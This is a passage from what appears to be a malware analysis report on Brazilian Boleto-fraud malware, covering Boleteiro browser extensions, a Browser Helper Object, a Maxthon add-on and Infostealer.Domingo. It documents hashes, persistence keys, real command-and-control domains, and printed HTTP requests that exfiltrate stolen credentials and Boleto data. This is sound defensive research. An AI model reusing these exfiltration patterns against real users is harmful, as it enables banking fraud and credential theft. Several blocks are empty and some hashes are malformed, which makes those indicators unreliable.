The Google Chrome extension will periodically check if the current web page is on this list and then attempt to steal the credentials.

[BANK NAME A]

The Google Chrome extension steals login credentials from a domain associated with [BANK NAME A].

---

**Table 43. File created by Boleteiro Dropper C**

| File | %UserProfile%\Application Data\AdobePro.jpg |

**Table 44. Boleteiro Google Chrome Extension A component characteristics**

<table>
<thead>
<tr>
<th>File name</th>
<th>Manifest.js</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>2c504ac3f95e43743f1237f98317330</td>
</tr>
<tr>
<td>SHA-1</td>
<td>19c2691dcb281769c1e554df33fe6d6e930a16bd</td>
</tr>
<tr>
<td>SHA-256</td>
<td>675e3bd1960d6f289158450d76fc6a9a64238eb744c-852ca7e8aad5410af585</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>13773</td>
</tr>
<tr>
<td>Purpose</td>
<td>Intercept Boletos and steals online banking credentials</td>
</tr>
</tbody>
</table>
The extension steals the following information:
- User name
- Password
- Password token

**Microsoft Live**

The Google Chrome extension steals login credentials from the following Microsoft domain:
- live.com

The extension steals the following information:
- User name
- Password

**[BANK NAME B]**

The Google Chrome extension steals login credentials from a domain associated with [BANK NAME B].

The extension steals the following information:
- Organization
- Account
- User name
- Password
- Token number
- Mobile number
- Series
- Signature

**Installation**

The Google Chrome extension does not perform additional installation actions and the installation is not performed by a dropper.

The Google Chrome extension and the dropper do not add any persistence.

The Google Chrome extension is created in the following location:
- %UserProfile%\Application Data\Microsoft\Google\Manifest.js

**Command-and-control**

The Google Chrome extension communicates using HTTP GET requests over port 80. The network traffic is not encrypted.

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Control server</th>
<th>URI</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>instacarlive.brinkster.net</td>
<td>GeraBoleto.asp</td>
<td>Boleto manipulation</td>
</tr>
<tr>
<td>GET</td>
<td>instacarlive.brinkster.net</td>
<td>[BANK NAME A]\Mail.asp</td>
<td>[BANK NAME A] credential exfiltration</td>
</tr>
<tr>
<td>GET</td>
<td>instacarlive.brinkster.net</td>
<td>OutLook.asp</td>
<td>Microsoft Live credential exfiltration</td>
</tr>
<tr>
<td>GET</td>
<td>borgestransportesme.com.br</td>
<td>[BANK NAME B].asp</td>
<td>[BANK NAME B] sensitive information exfiltration</td>
</tr>
</tbody>
</table>
While manipulating Boletos, the Google Chrome extension makes an HTTP GET request to the control server similar to the following:

```
/GeraBoleto.asp?Vencimento=4862&Valor=2000000000&Sacado=%20END%20PAGCPCN%20CPF/CNPJ%20END%20CHECK%20IT!&URL=_http://127.0.0.1/boleto.html&Browser=Chrome
```

The control server responds with attacker-supplied values used to manipulate the legitimate Boleto. The attacker-supplied values are then displayed to the victim in their browser.

The Google Chrome extension steals credentials when the user visits a domain associated with [BANK NAME A]. The following GET request is used to upload the stolen user name, password and password token to the control server:

```
```

The Google Chrome extension will steal credentials when the user visits the following Microsoft Live domain:

- live.com

The following GET request is used to upload the stolen user name, password, and browser application used to the control server:

```
/OutLook.asp?User=tester&password=mypassword&Browser=Chrome
```

The Google Chrome extension will steal credentials when the user visits a domain associated with [BANK NAME B]. The following GET request is used to upload sensitive information, including stolen credentials, to the control server:

```
```

### Table 46. Parameters sent to the C&C server by Chrome Extension A during Boleto manipulation

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vencimento</td>
<td>Expiration date</td>
</tr>
<tr>
<td>Valor</td>
<td>Amount</td>
</tr>
<tr>
<td>Sacado</td>
<td>Drawee</td>
</tr>
<tr>
<td>URL</td>
<td>Target URL</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser application</td>
</tr>
</tbody>
</table>

### Table 47. Parameters sent to the C&C server by Google Chrome Extension A during Microsoft Live credential theft

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>User</td>
<td>User name</td>
</tr>
<tr>
<td>Password</td>
<td>Password</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser application</td>
</tr>
</tbody>
</table>

### Table 48. Parameters sent to the control server Google Chrome Extension A during [BANK NAME B] credential stealing

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Agencia</td>
<td>Organization</td>
</tr>
<tr>
<td>Conta</td>
<td>Account</td>
</tr>
<tr>
<td>Usuario</td>
<td>User name</td>
</tr>
<tr>
<td>Senha</td>
<td>Password</td>
</tr>
<tr>
<td>Tokem</td>
<td>Token</td>
</tr>
<tr>
<td>Mobile</td>
<td>Mobile number</td>
</tr>
<tr>
<td>Serie</td>
<td>Series</td>
</tr>
<tr>
<td>Assinatura</td>
<td>Signature</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser application</td>
</tr>
</tbody>
</table>
**Google Chrome Extension B**

Google Chrome Extension B is written in JavaScript and is capable of manipulating Boletos.

### Functionality

The Google Chrome extension is loaded when Google Chrome is launched. Its main purpose is to manipulate Boletos.

The extension is capable of intercepting and replacing legitimate Boleto numbers with attacker-supplied values on web pages containing the following keywords:

- LOCAL DE PAGAMENTO
- VENCIMENTO
- PAGADOR
- SACADO

The Google Chrome extension will search for a pattern which matches a Boleto number, for example:

```
03399.65295 62300.00007 00044.201028 0 00000000000000
```

If a Boleto number is found, it is sent to the control server along with the following information:

- Expiration date
- Amount
- Payer
- Intended recipient
- Trigger URL

The control server responds with a Boleto number supplied by the attacker to replace the legitimate one. The attacker-supplied number is then displayed to the victim in their browser.

### Installation

The Google Chrome extension does not perform additional installation actions and the installation is not performed from a dropper.

### Command-and-control

The Google Chrome extension communicates using HTTP GET requests over port 80. The network traffic is not encrypted.

`/welcomes.asp`

During Boleto manipulation, the Google Chrome extension creates an HTTP GET request and sends it to the control server, similar to the following:

```
/welcomes.asp?Vencimento=4862&Valor=2000000000&Sacado=%20END%20PAGCPCN%20/CPF/CNPJ%20END%20CHECK%20IT!&URL= _ http://127.0.0.1/boleto.html&Browser=Chrome
```

Table 51 describes the parameters sent to the control server.

The control server responds with attacker-supplied values used to manipulate the legitimate Boleto.

### Table 49. Boleteiro Google Chrome Extension B component characteristics

<table>
<thead>
<tr>
<th>File name</th>
<th>Manifest.js</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>707deba29796a0b0339d9745ffe6f3a3</td>
</tr>
<tr>
<td>SHA-1</td>
<td>73918a3f14a0762262c3642684f3f67b603cfa3</td>
</tr>
<tr>
<td>SHA-256</td>
<td>409f91af6ebe8e1f1f99c54a4afcd09a71adc5e5d884420061d59b5e126ba5502</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>3913</td>
</tr>
<tr>
<td>Purpose</td>
<td>Intercept Boletos</td>
</tr>
</tbody>
</table>

### Table 50. HTTP GET requests used by Boleteiro Google Chrome Extension B

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Control server</th>
<th>URI</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>planansa.com.br</td>
<td>welcomes.asp</td>
<td>Boleto manipulation</td>
</tr>
</tbody>
</table>

### Table 51. Parameters sent to the control server by Google Chrome Extension B during Boleto manipulation

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Vencimento</td>
<td>Expiration date</td>
</tr>
<tr>
<td>Valor</td>
<td>Amount</td>
</tr>
<tr>
<td>Sacado</td>
<td>Drawee</td>
</tr>
<tr>
<td>URL</td>
<td>Target URL</td>
</tr>
<tr>
<td>Browser</td>
<td>Browser application</td>
</tr>
</tbody>
</table>
The attacker-supplied values are then displayed to the victim in their browser.

The response data contains the original payer, amount, expiration date with the attacker-supplied Boleto number, and barcode, which are used to generate the new Boleto slip.

**Abuse of third-party services**

<table>
<thead>
<tr>
<th>Table 52. Abuse of third-party Boleto creation services</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Sample</strong></td>
</tr>
<tr>
<td>707deba29796a0b0339d9745f6f3a3</td>
</tr>
<tr>
<td>707deba29796a0b0339d9745f6f3a3</td>
</tr>
<tr>
<td>38d5efbecc7a6f94f4b81d83dd0c260a</td>
</tr>
</tbody>
</table>

This first link generates an image for the selected bank. In this case, the code 104 is used, which is associated with [BANK NAME C]. However, several different bank logos can be generated by changing the value parameter in the request. The second and third links can be used to generate a new barcode. The second link is has since been disabled and is inactive.

**Browser Helper Object**

The Browser Helper Object is a UPX-packed DLL written in Visual Basic. It can manipulate Boletos and steal credentials from email and online banking websites. The Browser Helper Object uses BYTE XOR encryption to obfuscate strings.

<table>
<thead>
<tr>
<th>Table 53. Boleteiro BHO component characteristics</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>File name</strong></td>
</tr>
<tr>
<td><strong>MD5</strong></td>
</tr>
<tr>
<td><strong>SHA-1</strong></td>
</tr>
<tr>
<td><strong>SHA-256</strong></td>
</tr>
<tr>
<td><strong>Size (bytes)</strong></td>
</tr>
<tr>
<td><strong>Purpose</strong></td>
</tr>
</tbody>
</table>

This object intercepts Boletos and stolen credentials from email and online banking websites.

**Functionality**

The main function of the Browser Helper Object is to manipulate Boletos and steal login credentials from email and online banking services.

**Credential theft**

The Browser Helper Object is capable of stealing credentials from the following websites:

- [BANK NAME A].com.br
- live.com

The Browser Helper Object inspects HTML elements in order to retrieve the credential values. The user name and password for live.com are stored in the registry.

**Boleto manipulation**

The Browser Helper Object is capable of manipulating Boletos from the following websites:

- [BANK NAME D].com.br
- [BANK NAME E].com.br

The Browser Helper Object inspects the HTML elements to retrieve content, and then uses JavaScript injection to modify the content specific to Boletos. It can also generically scan for Boletos on other websites by searching for the Boleto number format.

The Browser Helper Object can send the stolen information to the attacker’s server, which provides modified Boleto information to replace the legitimate information. A fraudulent Boleto is then displayed to the victim in their browser.
The Browser Helper Object ignores the following websites when processing Boletos:

- facebook.com
- google.com
- dpf.gov
- mail.live.com
- bing.com
- yahoo.com

The Browser Helper Object is configured to steal Boletos from 13 different Boleto-issuing banks and other organizations.

**Installation**

The Browser Helper Object is created in the following location:

- `%UserProfile%\Application Data\Microsoft\Google\AdobePro.jpg`

The Browser Helper Object will save the user name and password extracted from live.com in the following registry subkeys:

- HKEY_CURRENT_USER\Software\VB and VBA Program Settings\AdobePro\OutLook\User
- HKEY_CURRENT_USER\Software\VB and VBA Program Settings\AdobePro\OutLook\Pass

**Note:** AdobePro is taken from the file name of the Browser Helper Object, which is AdobePro.jpg

**Command-and-control**

The Browser Helper Object communicates using HTTP GET/POST requests over port 80. The Microsoft XMLHTTP object is used to establish communications. The Browser Helper Object’s network traffic is not encrypted.

**Table 54. HTTP GET requests used by Boleteiro Browser Help Object**

<table>
<thead>
<tr>
<th>Protocol</th>
<th>Control server</th>
<th>URI</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td><a href="http://www.instacar.com.br">www.instacar.com.br</a></td>
<td>Historico.asp</td>
<td>[BANK NAME D] and [BANK NAME E] Boleto manipulation</td>
</tr>
<tr>
<td>GET</td>
<td><a href="http://www.instacar.com.br">www.instacar.com.br</a></td>
<td>outlook.asp</td>
<td>Microsoft Live credential stealing</td>
</tr>
<tr>
<td>POST</td>
<td><a href="http://www.instacar.com.br">www.instacar.com.br</a></td>
<td>GeraBoleto.asp</td>
<td>Generic Boleto manipulation</td>
</tr>
</tbody>
</table>

**/Historico.asp**

**Type 1**

When manipulating Boleto numbers related to [BANK NAME D] and [BANK NAME E], the Browser Helper Object sends the following HTTP GET request to the control server:


The control server response contains the following HTML tags:

- `<Codigo>[ATTLRACK-SUPPLIED BOLETO NUMBER]</Codigo>`
- `<Valor>[BOLETO VALUE]</Valor>`

**Table 55. Parameters sent to the C&C server by Boleteiro Browser Help Object during Type 1 manipulation of Boletos from [BANK NAME D] and [BANK NAME E]**

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>sBanco</td>
<td>Three digit bank code</td>
</tr>
<tr>
<td>versao</td>
<td>Boleteiro version</td>
</tr>
<tr>
<td>Tipo</td>
<td>Type (This value is always “F”)</td>
</tr>
</tbody>
</table>
In this situation, Codigo may contain the attacker-supplied Boleto number and Valor may contain the value of the Boleto. These are then used to replace the legitimate Boleto values.

**Type 2**

When sending Boleto IDs and related information for [BANK NAME D] and [BANK NAME E], the following HTTP request is sent to the control server:

```
```

A response is not expected from the control server for this request.

/gateway.aspx

When stealing [BANK NAME A] credentials, the Browser Helper Object sends the following HTTP GET request to the control server:

```
http://www.misterpostman.com.br/gateway.aspx?UserID=ef5a[value1]-[VALUE2]-[VALUE3]&Descricao=Mail
```

Table 57 describes the parameter values sent in the UserID parameter.

A response is not expected from the control server for this request.

/outlook.asp

When stealing Microsoft Live credentials, the Browser Helper Object makes the following HTTP request to the control server:

```
```

Table 58. Parameters sent to the C&C server by Boleteiro Browser Help Object during theft of Microsoft Live credentials

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>User</td>
<td>User name</td>
</tr>
<tr>
<td>Password</td>
<td>Password</td>
</tr>
</tbody>
</table>
During generic Boleto manipulation, the Browser Help Object makes the following POST request to the control server to generate a Boleto, with Content-Type application/x-www-form-urlencoded:


Maxthon browser add-on

The Maxthon browser add-on masquerades as a legitimate application called Maxtron Update. The misspelling of Maxthon is due to a mistake by the attackers. This add-on manipulates Boletos and steals credentials and card details. The add-on loads when the Maxthon browser is launched.

Functionality

The Maxthon browser add-on package contains a JavaScript component that manipulates Boletos, and steals credentials and card information. The JavaScript component can be used as a Maxthon Cloud browser extension.

Installation

The package is downloaded from the following URL:

- https://g0lp3reboleto.googlecode.com/svn/Maxtron/LT01.mxaddon

The file is then saved to the following location:

- %UserProfile%\Application Data\Maxthon3\Users\guest\Addons\1361840469.mxaddon

The downloaded package contains a number of files (listed in the following section), as well as the Maxthon browser add-on.

Persistence

The modification performed is a string replacement operation that replaces instances of true with false in the config.ini file, but the package is not installed properly.

The Maxthon package is created in the following location:

- %UserProfile%\Application Data\Maxthon3\Users\guest\Addons\1361840469.mxaddon

The following Maxthon configuration file is modified during installation:

- %UserProfile%\Application Data\Maxthon3\Users\guest\AddonsData\MxAddonMisc\config

### Table 59. Parameters sent to the C&C server by Boleteiro Browser Help Object during generic Boleto manipulation

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Banco</td>
<td>Three digit bank code</td>
</tr>
<tr>
<td>Sacado</td>
<td>Original Boleto ID number</td>
</tr>
<tr>
<td>Valor</td>
<td>Amount</td>
</tr>
<tr>
<td>Vencimento</td>
<td>Due date</td>
</tr>
<tr>
<td>URL</td>
<td>Trigger URL</td>
</tr>
<tr>
<td>Comprovante</td>
<td>Original HTML content containing Boleto related information</td>
</tr>
<tr>
<td>Versao</td>
<td>Boleteiro version</td>
</tr>
</tbody>
</table>

### Table 60. Boleteiro Maxthon browser add-on component characteristics

<table>
<thead>
<tr>
<th>File name</th>
<th>MD5</th>
<th>SHA-1</th>
<th>SHA-256</th>
<th>Size (bytes)</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>1361840469.mxaddon</td>
<td>b65045764439540b521f2717ac56652</td>
<td>31046943fd87f3b38fc9a328ab75945c525e2e0e</td>
<td>2c6a4158df42330f3044587cbcf6fd5582f9f01cb-b8e25b66ec573217b83802a</td>
<td>517674</td>
<td>Boleto and credential stealer</td>
</tr>
</tbody>
</table>

### Table 61. Files created by Boleteiro Maxthon browser add-on component

<table>
<thead>
<tr>
<th>File name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>icon_16.png</td>
<td>Extension image file</td>
</tr>
<tr>
<td>icon_16.png</td>
<td>Extension image file</td>
</tr>
<tr>
<td>icon_48.png</td>
<td>Extension image file</td>
</tr>
<tr>
<td>def.json</td>
<td>Extension definition file</td>
</tr>
<tr>
<td>url.ie.js</td>
<td>Boleto stealer extension</td>
</tr>
<tr>
<td>MxPacker.exe</td>
<td>Application to package file into mxaddon packages</td>
</tr>
<tr>
<td>MxPacker.rar</td>
<td>Compressed version of MxPacker.exe</td>
</tr>
</tbody>
</table>
Infostealer.Domingo

On July 10, 2014, Trusteer published a blog that revealed details about Domingo, a new Boleto threat. Infostealer.Domingo uses the Component Object Model to perform Document Object Model (DOM) manipulations in Internet Explorer in order to modify legitimate Boletos. Infostealer.Domingo can manipulate Boletos that are generated online and Boletos stored on the file system in order to redirect payments to fraudulent attacker-controlled accounts.

Identification

Table 63: Vendor aliases for Domingo

<table>
<thead>
<tr>
<th>Vendor</th>
<th>Alias</th>
</tr>
</thead>
<tbody>
<tr>
<td>Symantec</td>
<td>Infostealer.Domingo</td>
</tr>
<tr>
<td>Avast</td>
<td>Win32:Boleto-A</td>
</tr>
</tbody>
</table>

Table 64. List of artifacts used in the analysis of Infostealer.Domingo

<table>
<thead>
<tr>
<th>PE timestamp</th>
<th>MD5</th>
<th>Size</th>
<th>File name</th>
<th>Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td>09 May 2013 12:06:59</td>
<td>ee64e56ee86286cadf4e44f827483829</td>
<td>905322</td>
<td>ee64e56ee86286cadf4e44f827483829</td>
<td>Dropper</td>
</tr>
<tr>
<td>19 June 1992 23:22:17</td>
<td>b078e13134fda91ee3d0b4660f3176d6</td>
<td>660480</td>
<td>startup.exe</td>
<td>Persistence component</td>
</tr>
<tr>
<td>19 June 1992 23:22:17</td>
<td>d972d719aabb8f4750e0b15187dc1ad0</td>
<td>507904</td>
<td>industria.exe</td>
<td>Boleto manipulator</td>
</tr>
<tr>
<td>19 June 1992 23:22:17</td>
<td>65d2b31b92da3fb894e11bf71dd7dc02</td>
<td>733696</td>
<td>industria.exe</td>
<td>Boleto manipulator</td>
</tr>
</tbody>
</table>

Exploit usage

No exploits were used to deliver Infostealer.Domingo.

Anti-analysis

Table 65 contains a list of reverse-engineering challenges discovered during the course of the analysis.

Packing and compression

Infostealer.Domingo uses Winrar SFX to package the droppers.
Obfuscation

Embedded strings in the malware are encoded as the following hex characters.
- **Encoded:** 687474703A2F2F
- **Decoded:** http://

The following list contains the decoded strings:
- wininet.dll
- iexplore.exe
- http://centroactivo.pt/components/com_akeeba/controllers/HTML/barras.png
- centroactivo.pt
- autenticação mecânica
- autenticacao mecanica
- SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- InternetReadFile
- InternetOpenUrlA
- InternetOpenA
- InternetCloseHandle
- Content-Type: application/x-www-form-urlencoded
- 03399.65295 62300.00000700044.201028 0 00000000000000
- /components/com_akeeba/controllers/HTML/A/oi/boleto.php

Encryption

Infostealer Domingo doesn’t use host-based encryption or network encryption.

Dropper

The dropper is a Winrar SFX which creates the persistence component (startup.exe) and the Boleto manipulator (industria.exe), executes these files, and ends itself.

Installation

The dropper downloads the files in Table 67.

The dropper contains the following configuration information that is used while extracting the two executables:

```plaintext
;O comentário abaixo contém comando de sequência SFX
Path=%UserProfile%\Application Data\ 
Setup=industria.exe 
Setup=startup.exe 
Silent=1 
Overwrite=1
```
Persistence component

The persistence component creates a registry key to ensure that the Boleto manipulator is persistent across reboots.

Note: This run key value has also been observed as Avadaquevadra.

Table 68. Domingo persistence component characteristics

<table>
<thead>
<tr>
<th>File name</th>
<th>startup.exe</th>
</tr>
</thead>
<tbody>
<tr>
<td>MD5</td>
<td>b078e13134fda91ee3d0b4660f3176d6</td>
</tr>
<tr>
<td>SHA-1</td>
<td>20dfdd6912cf41b63837c99b594f375e88294831</td>
</tr>
<tr>
<td>SHA-256</td>
<td>bdaa1b1ddefc292749433b3bd7f3c475f0f25d78a6e-da8f82ed3b821b189e0fe0e719</td>
</tr>
<tr>
<td>Size (bytes)</td>
<td>660480</td>
</tr>
<tr>
<td>Purpose</td>
<td>Creates registry entry to maintain persistence</td>
</tr>
</tbody>
</table>

Table 69. Registry subkey created by the Domingo persistence component to ensure that the Boleto Manipulator is persistent across reboots

<table>
<thead>
<tr>
<th>Action</th>
<th>Registry subkey</th>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>create</td>
<td>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</td>
<td>Espadres</td>
<td>REG_SZ =%UserProfile%\Application Data\industria.exe</td>
<td></td>
</tr>
</tbody>
</table>

Boleto Manipulator

The Boleto Manipulator is a Boleto stealer that uses shdocvw.dll, a web browser control, to interact with Internet Explorer.

The control has the following CLSID:

• 9BA05972-F6A8-11CF-A442-00A0C90A8F39

The Boleto Manipulator scans the contents of web pages in Internet Explorer and files on the file system to replace Boleto numbers with attacker-supplied values.

The Boleto Manipulator does not have embedded components, packing layers, or encryption.

Functionality

When the Boleto manipulator is executed, it checks for the following registry subkey:

• HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Avadaquevadra

The Boleto Manipulator will report to the control server if this registry subkey does not exist.

The Boleto Manipulator creates the following mutex to avoid running in multiple instances:

• Expeliarmusis

The Boleto Manipulator will then send a request to the control server to download a Boleto number template. If the control server is unavailable, a hard-coded Boleto number template is used.

During analysis, the remote Boleto number template was identical to the following hard-coded value:

• 03399.65295 62300.000007 00044.201028 0 000000000000000

The Boleto number template has uninitialized the following fields:

• General checksum
• Due date
• Value
The due date and value will be retrieved from the original Boleto number and the general checksum will be recalculated.

The Boleto Manipulator can operate in online and offline mode.
1. Online mode—manipulate Boletos presented during web browsing in Internet Explorer
2. Offline mode—manipulate Boletos on the file system (.htm/.html files on drives B: - Z:)

The purpose of this is to redirect legitimate Boleto payments to an attacker-controlled account.

**Boleto manipulation**

In order to manipulate a Boleto, the Boleto Manipulator will search the HTML content for a Boleto number. The Boleto Manipulator will search for numeric patterns resembling Boleto numbers and checks specific offsets to verify that it is a Boleto number.

The Boleto Manipulator checks the hexadecimal characters and offsets to verify the Boleto number (Table 71).

The Boleto Manipulator will also alter the barcode.

To do this, the Boleto Manipulator will try to detect the following text:
- autenticação mecânica
- autenticacao mecanica

If the text is found, the Boleto Manipulator will replace the original barcode with an attacker-supplied barcode obtained from the control server.

If the text is not found, the attacker-supplied barcode is placed at the end of the Boleto document.

Note: The validity of the attacker-supplied Barcode has not been verified.

**Installation**

If Internet Explorer is launched, the Boleto Manipulator will initiate the web browser control to enable it to search and manipulate the DOM for Boletos (Table 72).

**Command-and-control**

The Boleto Manipulator uses HTTP protocol on port 80 to communicate with the control server.

**Notification**

The following request is sent to notify the control server if the Avadaquevadra registry subkey, which is responsible for persistence, does not exist (Table 74).
The Boleto Manipulator does not process any incoming response data.

**Request Boleto template**

The following request is sent to the control server to retrieve a Boleto number template that will be used in order to generate a new Boleto number and replace the original one:

```
GET /components/com_akeeba/controllers/HTML/A/oi/boleto.php?LETO HTTP/1.1
Host: centroactivo.pt
```

**Table 75. Request Boleto template commands sent by Domingo Boleto Manipulator component**

<table>
<thead>
<tr>
<th>Method</th>
<th>Control server</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>centroactivo.pt</td>
<td>components/com_akeeba/controllers/HTML/A/oi/boleto.php?LETO</td>
<td>Download new Boleto number template</td>
</tr>
</tbody>
</table>

The following response details the new Boleto number template:

```
HTTP/1.1 200 OK
Date: Thu, 02 Oct 2014 17:15:48 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20
X-Powered-By: PHP/5.3.20
Content-Length: 56
Content-Type: text/html

[03399.65295 62300.000007 00044.201028 0 00000000000000]
```

**Upload Boleto information**

The following request is used to send Boleto information related to new and old Boletos to the control server:

```
POST /components/com_akeeba/controllers/HTML/A/oi/boleto.php HTTP/1.0
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 247
Host: centroactivo.pt
Accept: text/html

O=23790.09505%2090000.000001%201023.190000%203%202642001000000000%20
N=03399.65295%2062300.000007%2000044.201028%209%202642001000000000%20
V=100000%2C00
```

**Table 76. Upload Boleto information commands sent by Domingo Boleto Manipulator component**

<table>
<thead>
<tr>
<th>Method</th>
<th>Control server</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>POST</td>
<td>centroactivo.pt</td>
<td>components/com_akeeba/controllers/HTML/A/oi/boleto.php</td>
<td>Send new/old Boleto related data to the control server</td>
</tr>
</tbody>
</table>

**Table 77. Description of the parameters used in previous request**

<table>
<thead>
<tr>
<th>Parameter</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>O</td>
<td>Original Boleto ID number</td>
</tr>
<tr>
<td>N</td>
<td>New Boleto ID number</td>
</tr>
<tr>
<td>U</td>
<td>Referrer URL (online case) or HTML file (offline case)</td>
</tr>
<tr>
<td>V</td>
<td>Amount</td>
</tr>
</tbody>
</table>
The following response does not contain any data after the headers:

```
HTTP/1.1 200 OK
Date: Thu, 02 Oct 2014 17:15:51 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20
X-Powered-By: PHP/5.3.20
Content-Length: 0
Connection: close
Content-Type: text/html
```

Download Boleto barcode

<p>| Table 78. Download Boleto barcode commands sent by Domingo Boleto Manipulator component |
|-----------------------------------------------|---------------------------------|---------------------------------|</p>
<table>
<thead>
<tr>
<th>Method</th>
<th>Control server</th>
<th>Path</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>GET</td>
<td>centroactivo.pt</td>
<td>components/com_akeeba/controllers/HTML/barras.png</td>
<td>Download Boleto barcode</td>
</tr>
</tbody>
</table>

The following request is used to download a Boleto barcode to replace the original:

```
GET /components/com_akeeba/controllers/HTML/barras.png HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322)
Host: centroactivo.pt
Connection: Keep-Alive
```

The following response is a portable network graphics image (PNG) of the barcode:

```
HTTP/1.1 200 OK
Date: Thu, 02 Oct 2014 17:15:51 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.3.20
Last-Modified: Thu, 08 May 2014 21:50:37 GMT
ETag: "479-4f8ea78b2aa05"
Accept-Ranges: bytes
Content-Length: 1145
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: image/png

.PNG
```

Infrastructure

Table 79 provides details on the C&C infrastructure used by the sample.

<p>| Table 79: WHOIS Information |
|-----------------------------|----------------|----------------|----------------|-----------------|-----------------|-----------------|-----------------|</p>
<table>
<thead>
<tr>
<th>Domain</th>
<th>Registrar</th>
<th>Registrant name</th>
<th>Registrant email</th>
<th>Creation date</th>
<th>IP address</th>
<th>ASN</th>
<th>Location</th>
</tr>
</thead>
<tbody>
<tr>
<td>servw.net.pl</td>
<td>Active 24 sp. z.o.o.</td>
<td>organization</td>
<td><a href="mailto:bok@active24.pl">bok@active24.pl</a></td>
<td>2004.10.21</td>
<td>188.165.23.175</td>
<td>AS16276</td>
<td>England</td>
</tr>
<tr>
<td>centroactivo.pt</td>
<td>AMENWORLD Serviços Internet - Sociedade Unipessoal Lda</td>
<td>Centroactivo - Ginasio Lda</td>
<td><a href="mailto:centroactivo.qta.romeira@gmail.com">centroactivo.qta.romeira@gmail.com</a></td>
<td>2001-02-19</td>
<td>89.154.2.1</td>
<td>AS12542</td>
<td>Lisboa - Lisbon - Tvcabo Portugal S.a</td>
</tr>
</tbody>
</table>
References

- http://www.febraban.org.br/arquivo/bancos/sitebancos2-0.asp
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